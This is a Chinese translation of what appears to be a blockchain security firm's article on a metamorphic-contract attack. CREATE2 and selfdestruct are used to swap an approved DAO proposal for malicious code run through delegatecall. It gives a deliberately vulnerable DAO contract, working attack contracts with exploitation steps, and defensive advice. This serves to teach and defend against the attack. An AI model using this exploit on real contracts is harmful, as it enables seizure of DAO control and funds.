本文分析了一种利用CREATE
和CREATE2
操作码在不同时间将不同合约部署到同一地址的攻击技术,并提供了相应的防御策略。
作者: White
编辑: Liz
在以太坊生态系统中,合约地址的确定性生成为开发者提供了便利,但也引入了新的攻击向量。在本文中,我们将分析一种利用 CREATE
和 CREATE2
操作码在不同时间将不同的合约部署到同一地址的攻击技术,以及相应的防御策略。
有关智能合约安全审计的入门文章,请参阅合集。
在深入研究攻击技术之前,让我们首先了解以太坊中的两个地址生成规则:
CREATE
是以太坊虚拟机(EVM)中的一个原生操作码,用于动态部署智能合约。自从以太坊创世区块以来,所有合约部署都依赖于这种机制。CREATE
的一个关键特征是,生成的地址取决于部署者帐户的 nonce,使其具有非确定性(即,在部署之前无法准确预测)。
通过 CREATE
生成的合约地址由部署者的地址和该地址的 nonce 确定:
contract address = last 20 bytes of keccak256(RLP(sender,nonce))
CREATE2
是以太坊君士坦丁堡硬分叉(2019 年 2 月)中引入的一种新的合约创建操作码,作为EIP-1014 的一部分。与传统的 CREATE
操作码不同,CREATE2
允许参与者在部署之前预先计算合约的地址,从而实现链下交互(例如状态通道)和更复杂的合约架构。
通过 CREATE2
生成的合约地址由以下四个参数确定:
contract address = last 20 bytes of keccak256(0xff∣∣sender∣∣salt∣∣keccak256(init_code))
至此,你应该清楚地了解以太坊生成合约地址的两种方式。一些眼尖的读者可能想知道:如果计算出的合约地址已经存在会发生什么?
无需担心 - 无论是使用 CREATE
还是 CREATE2
,如果目标地址已经存在于链上(无论是作为外部拥有帐户(EOA)还是合约帐户),EVM 都会拒绝合约创建请求。以下是两种可能的地址冲突场景:
当然,有一个例外 - 如果目标地址属于一个被自我销毁的合约(selfdestruct
),那么一个新的合约可以部署到同一个地址。
至此,我们已经介绍了 CREATE
和 CREATE2
的基本属性。现在,让我们探讨如何战略性地结合这些操作码来执行合约攻击。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
contract DAO {
struct Proposal {
address target;
bool approved;
bool executed;
}
address public owner = msg.sender;
Proposal[] public proposals;
function approve(address target) external {
require(msg.sender == owner, "not authorized");
proposals.push(
Proposal({target: target, approved: true, executed: false})
);
}
function execute(uint256 proposalId) external payable {
Proposal storage proposal = proposals[proposalId];
require(proposal.approved, "not approved");
require(!proposal.executed, "executed");
proposal.executed = true;
(bool ok,) = proposal.target.delegatecall(
abi.encodeWithSignature("executeProposal()")
);
require(ok, "delegatecall failed");
}
}
此 DAO
合约实现了一个基本的治理机制:
Owner
通过 approve
功能将提案合约地址批准并记录到 proposals
数组中。任何用户稍后都可以通过 execute
功能执行已批准的提案。
乍一看,权限控制似乎很严格(只有 Owner
可以批准提案),并且执行验证看起来很安全(提案必须经过批准且未执行)。但是,这里有一个隐藏的逻辑缺陷:已批准的提案地址可能在执行时指向完全不同的合约代码。
攻击包括三个关键步骤:
攻击者首先部署一个合约 A,其中包含无害的 executeProposal()
函数。在获得 Owner
的批准后,合约 A 的地址将添加到提案列表中。
合约 A 执行 selfdestruct
,从区块链中删除其代码。
然后,使用 CREATE2
操作码,攻击者在同一地址重新部署一个恶意合约 B。这个新的合约 B 包含一个危险的 executeProposal()
函数。
当用户调用 execute
时,DAO 合约执行 delegatecall
以执行新部署的恶意合约 B。由于 delegatecall
保留了调用合约的上下文,因此攻击者可以使用它来操纵 DAO 合约的状态(例如,更改 Owner
或转移资金)。
接下来,让我们通过一个具体的攻击合约示例来分解攻击过程。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
contract Proposal {
event Log(string message);
function executeProposal() external {
emit Log("Executed code approved by DAO");
}
function emergencyStop() external {
selfdestruct(payable(address(0)));
}
}
contract Attack {
event Log(string message);
address public owner;
function executeProposal() external {
emit Log("Executed code not approved by DAO :)");
// For example - set DAO's owner to attacker
owner = msg.sender;
}
}
contract DeployerDeployer {
event Log(address addr);
function deploy() external {
bytes32 salt = keccak256(abi.encode(uint256(123)));
address addr = address(new Deployer{salt: salt}());
emit Log(addr);
}
}
contract Deployer {
event Log(address addr);
function deployProposal() external {
address addr = address(new Proposal());
emit Log(addr);
}
function deployAttack() external {
address addr = address(new Attack());
emit Log(addr);
}
function kill() external {
selfdestruct(payable(address(0)));
}
}
DeployerDeployer
合约。DD.deploy()
,使用 CREATE2
在地址 D 部署 Deployer
合约(使用固定的 salt)。D.deployProposal()
,这会在地址 P 创建一个 Proposal
合约。此时,D 的 nonce 为 0。D.kill()
销毁 D。 D 上的合约被擦除,其 nonce 重置为 0。DD.deploy()
,将 Deployer
重新部署到同一地址 D(使用相同的 CREATE2
参数)。D.deployAttack()
,部署 Attack 合约。由于 D 的 nonce 仍然为 0 且地址 D 没有改变,因此 Attack 合约被部署到与 Proposal 之前使用的同一地址 P。proposals
数组仍然引用地址 P,但 P 现在指向恶意的 Attack 合约。execute()
时,DAO 执行 Attack.executeProposal()
,这 使用 delegatecall
将 DAO 的 Owner
修改为 msg.sender
(Attack 合约)。攻击者利用 CREATE2
将合约重新部署到同一地址 的能力:
Deployer
合约,重置其 nonce 并允许将其重新部署到同一地址。delegatecall
调用外部合约,除非绝对必要并进行适当的安全检查。selfdestruct
之后重新部署合约的可能性。调用外部合约时,请确保它们是可信的。如果与未知的合约交互,请检查它们是否具有反自我销毁机制。selfdestruct
功能的外部合约,因为它们可能会被利用来在同一地址将合法合约替换为恶意代码。CREATE2
。确保 salt 值具有足够的随机性,以防止攻击者预测和抢先在目标地址部署合约。delegatecall
用法,以确定 目标地址是否可信 以及是否存在执行任意合约的风险。SlowMist 是一家成立于 2018 年 1 月的区块链安全公司。该公司由一个拥有超过十年网络安全经验的团队创立,旨在成为全球力量。我们的目标是使区块链生态系统对每个人都尽可能安全。我们现在是一家著名的国际区块链安全公司,曾与 HashKey Exchange、OSL、MEEX、BGE、BTCBOX、Bitget、BHEX.SG、OKX、Binance、HTX、Amber Group、Crypto.com 等多个知名项目合作。
SlowMist 提供各种服务,包括但不限于安全审计、威胁信息、防御部署、安全顾问和其他与安全相关的服务。我们还提供 AML(反洗钱)软件、MistEye(安全监控)、SlowMist Hacked(Crypto hack archives)、FireWall.x(智能合约防火墙)和其他 SaaS 产品。我们与国内外公司建立了合作伙伴关系,如 Akamai、BitDefender、RC²、天际伙伴、IPIP 等。我们对加密货币犯罪调查的广泛工作已被国际组织和政府机构引用,包括联合国安全理事会和联合国毒品和犯罪问题办公室。
通过提供为每个项目定制的综合安全解决方案,我们可以识别风险并防止它们发生。我们的团队能够发现并发布几个高风险的区块链安全漏洞。通过这样做,我们可以传播意识并提高区块链生态系统中的安全标准。
- 原文链接: slowmist.medium.com/intr...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!